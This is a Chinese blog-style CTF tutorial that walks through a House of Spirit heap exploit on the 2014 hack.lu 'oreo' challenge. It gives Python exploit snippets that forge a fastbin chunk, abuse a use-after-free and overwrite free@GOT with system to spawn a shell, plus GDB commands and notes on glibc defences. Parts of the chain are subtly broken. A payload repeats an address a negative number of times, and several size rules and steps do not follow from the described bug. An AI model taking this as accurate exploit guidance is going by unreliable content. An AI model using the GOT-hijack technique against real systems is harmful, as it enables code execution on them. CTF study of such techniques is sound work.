当前位置: 首页 > news >正文

从CTF实战出发:手把手教你用House of Spirit伪造堆块并劫持GOT表(以2014 hack.lu oreo为例)

从CTF实战拆解House of Spirit:伪造堆块的艺术与GOT劫持实战

在CTF的二进制攻防世界中,堆利用始终是最具挑战性的领域之一。当我在2019年第一次遇到House of Spirit(以下简称HoS)技术时,那种通过伪造堆块结构来控制程序执行流的精妙感,至今记忆犹新。不同于常规的堆溢出,HoS更像是一场精心设计的魔术表演——我们不需要直接修改任何堆管理数据结构,而是通过"欺骗"malloc返回一个完全由攻击者控制的假堆块,进而实现任意地址读写。本文将基于hack.lu CTF 2014年的经典赛题oreo,带您从零开始构建完整的攻击链,其中包含多个我在实际解题中踩过的坑和调试技巧。

1. 环境搭建与漏洞分析

1.1 题目环境配置

首先获取题目二进制文件和libc版本:

wget https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/heap/house-of-spirit/2014_hack.lu_oreo/oreo wget https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/heap/house-of-spirit/2014_hack.lu_oreo/libc.so.6

使用patchelf修复二进制依赖:

patchelf --set-interpreter /path/to/ld-linux.so.2 --replace-needed libc.so.6 ./libc.so.6 oreo

启动调试环境建议配置:

gdb -q ./oreo -ex "set environment LD_PRELOAD=./libc.so.6" -ex "b *0x08048A7C"

1.2 程序功能逆向分析

通过IDA Pro分析二进制文件,我们发现程序主要实现了一个简单的枪支管理系统:

  1. 添加枪支:malloc(0x38)分配结构体,存储枪支名称和描述
  2. 删除枪支:free后未清空指针(典型的UAF漏洞)
  3. 展示枪支:遍历链表输出所有枪支信息
  4. 订单功能:存在栈溢出漏洞但受限于长度

关键漏洞出现在删除功能中:

void delete_gun() { if (gun_count > 0) { free(gun_list[--gun_count]); // 没有置NULL } }

通过逆向我们还发现程序在0x0804A2A0处存储了一个全局的枪支列表指针数组,这将成为我们后续攻击的重要跳板。

2. House of Spirit技术核心原理

2.1 堆分配机制回顾

在glibc的malloc实现中,fastbin是最基础的分配机制之一。当请求大小在16到80字节(32位系统)之间时,malloc会优先从fastbin中寻找合适的内存块。关键特性包括:

  • 单链表结构(LIFO)
  • 仅检查size字段是否匹配当前fastbin索引
  • 不检查prev_inuse位或前后堆块完整性

HoS正是利用这些宽松的检查条件,通过以下步骤实现攻击:

  1. 在可控内存区域伪造一个合法的fastbin chunk
  2. 通过某种方式将这个假chunk放入fastbin链表
  3. 下次分配时malloc返回我们的假chunk
  4. 通过假chunk实现任意地址读写

2.2 伪造chunk的关键参数

要成功伪造一个能被malloc接受的chunk,必须满足以下条件:

字段32位要求64位要求备注
size0x40-0x7f0x40-0x7f必须对齐16字节边界
next chunksize > 2*SIZE_SZsize > 2*SIZE_SZ防止consolidate时检查失败
fd可写地址可写地址避免unlink时崩溃

在oreo这道题中,我们可以利用全局变量区作为伪造chunk的位置,因为:

  1. 地址固定已知(0x0804A2A0)
  2. 有足够的空间布置假chunk
  3. 后续可以通过程序功能修改这些内存

3. 构建完整攻击链

3.1 信息泄露与地址计算

首先需要泄露libc基址以计算system地址。通过以下步骤实现:

  1. 分配3个枪支对象(gun0, gun1, gun2)
  2. 释放gun1和gun0,使它们进入fastbin
  3. 分配新枪支,此时会复用gun0的内存
  4. 在gun0的description字段布置伪造的chunk头
  5. 展示枪支信息,泄露堆地址

关键payload构造:

add_gun("gun0", p32(0x41)+p32(0x0804A2A0)) add_gun("gun1", "B"*0x30) add_gun("gun2", "C"*0x30) delete_gun(1) delete_gun(0) add_gun("leak", "D"*16) # 复用gun0内存 show_guns() # 泄露0x0804A2A0地址

3.2 实施House of Spirit攻击

现在我们已经具备了所有必要条件:

  1. 知道全局变量区地址(0x0804A2A0)
  2. 能控制该区域的部分内容
  3. 程序存在UAF漏洞

具体攻击步骤:

  1. 在0x0804A2A0处布置伪造的fastbin chunk:
    • size字段设为0x40(对应fastbin索引)
    • fd指针指向一个可写地址(如0x0804A000)
fake_chunk = p32(0x40) + p32(0x0804A000) + "E"*0x38 add_gun("fake", fake_chunk)
  1. 通过UAF将伪造chunk链入fastbin:
delete_gun(0) # 此时fastbin: 0x0804A2A0 -> some_heap_addr
  1. 分配新枪支获取伪造chunk:
add_gun("hack", "F"*8) # 将返回0x0804A2A8(用户数据区)

3.3 GOT表劫持与shell获取

现在我们可以通过伪造的chunk修改GOT表。以劫持free@got为例:

  1. 确定free@got地址:0x0804A014
  2. 计算偏移:0x0804A014 - 0x0804A2A8 = -0x294
  3. 通过编辑功能修改内存:
payload = p32(system_addr) * (-0x294//4) edit_gun("hack", payload)
  1. 最后释放一个内容为"/bin/sh"的枪支:
add_gun("sh", "/bin/sh") delete_gun("sh") # 实际执行system("/bin/sh")

4. 调试技巧与常见问题排查

4.1 GDB实用命令

在实施HoS攻击时,这些命令特别有用:

# 查看fastbin状态 x/20wx 0x804B058 # arena->fastbinsY # 检查伪造chunk x/10i $eip # 查看当前执行流 x/10wx 0x0804A2A0 # 检查伪造chunk布局 # 关键断点设置 b *0x08048A7C # malloc内部调用点 b *0x08048AC1 # free调用点

4.2 典型错误与解决方案

  1. malloc(): memory corruption (fast)
    原因:伪造的size字段不符合fastbin要求
    解决:确保size在0x40-0x7f范围内且对齐16字节

  2. free(): invalid next size (fast)
    原因:next chunk的size字段太小
    解决:在伪造chunk后放置一个足够大的size值(如0x10000)

  3. 攻击后程序崩溃
    原因:GOT表劫持破坏了其他关键函数指针
    解决:精确计算偏移,只修改目标函数指针

5. 防御措施与进阶思考

现代glibc版本(2.32+)已经引入了更多安全检查机制:

  1. safe linking:对fastbin的fd指针进行异或加密
  2. 更严格的size检查:验证size与堆区域匹配性
  3. tcache机制:优先使用tcache而非fastbin

绕过这些保护需要结合其他技术:

  • 堆风水:精确控制堆布局
  • 部分写:利用字节级溢出修改关键数据
  • FSOP:结合文件流操作扩大攻击面

在实际CTF比赛中,HoS往往不是独立存在的,需要与以下技术结合使用:

  • ROP链构造:当无法直接劫持控制流时
  • 堆喷:提高攻击成功率
  • 类型混淆:绕过某些保护机制
http://www.zskr.cn/news/1410491.html

相关文章:

  • Arm SMMU未翻译事务信号详解与连接指南
  • 实验16 修改波特率,校验位,停止位实验
  • 图神经网络中的比特翻转错误防御与Ralts框架解析
  • 别再死记硬背了!用Verilog代码和波形图,5分钟搞懂Decoder、Mux和Selector的关系
  • 从卡壳到灵感核爆,ChatGPT头脑风暴全流程拆解,深度还原头部科技公司创新实验室的7层提示链设计
  • 射频工程师的福音:手把手教你将ADS版图无缝迁移到Altium Designer进行PCB设计
  • AI代理成本控制实战:成本天花板模式设计与实现
  • 从PX4转投ArduPilot:一个QGC老用户的Mission Planner配置初体验与心得
  • 规模化构建者平台:从理论断裂到工程实践的关键挑战与演进
  • 本地部署语音AI智能体:从零构建隐私优先的离线语音助手
  • 蜂群模拟:AI智能体规模化安全测试的破局之道
  • 告别标准库:用STM32CubeMX HAL库玩转外部中断,代码对比一目了然
  • AI Agent技能从构建到应用:跨越体验鸿沟的实战指南
  • Opsrift:用AI与自动化重塑SRE事故复盘,降低流程摩擦
  • 2026年知名的广州记账公司注册代理记账/广州小规模代理记账专业公司推荐 - 行业平台推荐
  • 开发者实战指南:如何筛选并内化真正提升效率的AI编程工具
  • 2026年知名的广州危化品经营许可代办/广州二三类医疗器械经营许可代办/广州出版物经营许可代办/广州人力资源经营许可代办推荐榜单公司 - 行业平台推荐
  • 2026年 宝钢HC600/980QPD+Z/ZF吉帕钢深度解析:高性能汽车用钢推荐榜,强度与延展性兼具的轻量化之选 - 品牌企业推荐师(官方)
  • 别再死记公式了!用Unity 2022 LTS手把手复现Blinn-Phong光照模型(附完整Shader代码)
  • 那些AI写不出来的东西,才是你真正的竞争力
  • 从手机套餐到投资组合:手把手教你用甲骨文Crystal Ball做10个真实生活决策模型
  • 在Claude代码终端中养像素宠物:游戏化开发体验实践
  • PotPlayer播放器终极强化:SVP 4补帧插件从安装到调优的全流程实战(附性能优化技巧)
  • ROS机器人数据回放新姿势:用ffmpeg把rosbag里的图像流变成高清MP4视频
  • 2026年 宝钢HC1150/1400MS吉帕钢推荐榜:汽车轻量化超高强度冷轧钢板/先进高强钢/热成形用钢/吉帕级材料源头厂家解析 - 品牌企业推荐师(官方)
  • 小爱音箱开源固件改造终极指南:解锁智能设备完整控制权
  • 输入感知近似MAC单元设计:FPGA高能效DSP与边缘AI计算新范式
  • 基于级联H桥的储能系统:削峰填谷与谐波治理一体化方案
  • 鸣潮终极解放指南:免费开源自动化工具让你5分钟搞定日常任务
  • Sapiens2与其他视觉Transformer对比分析:为什么它在人类中心任务中表现更优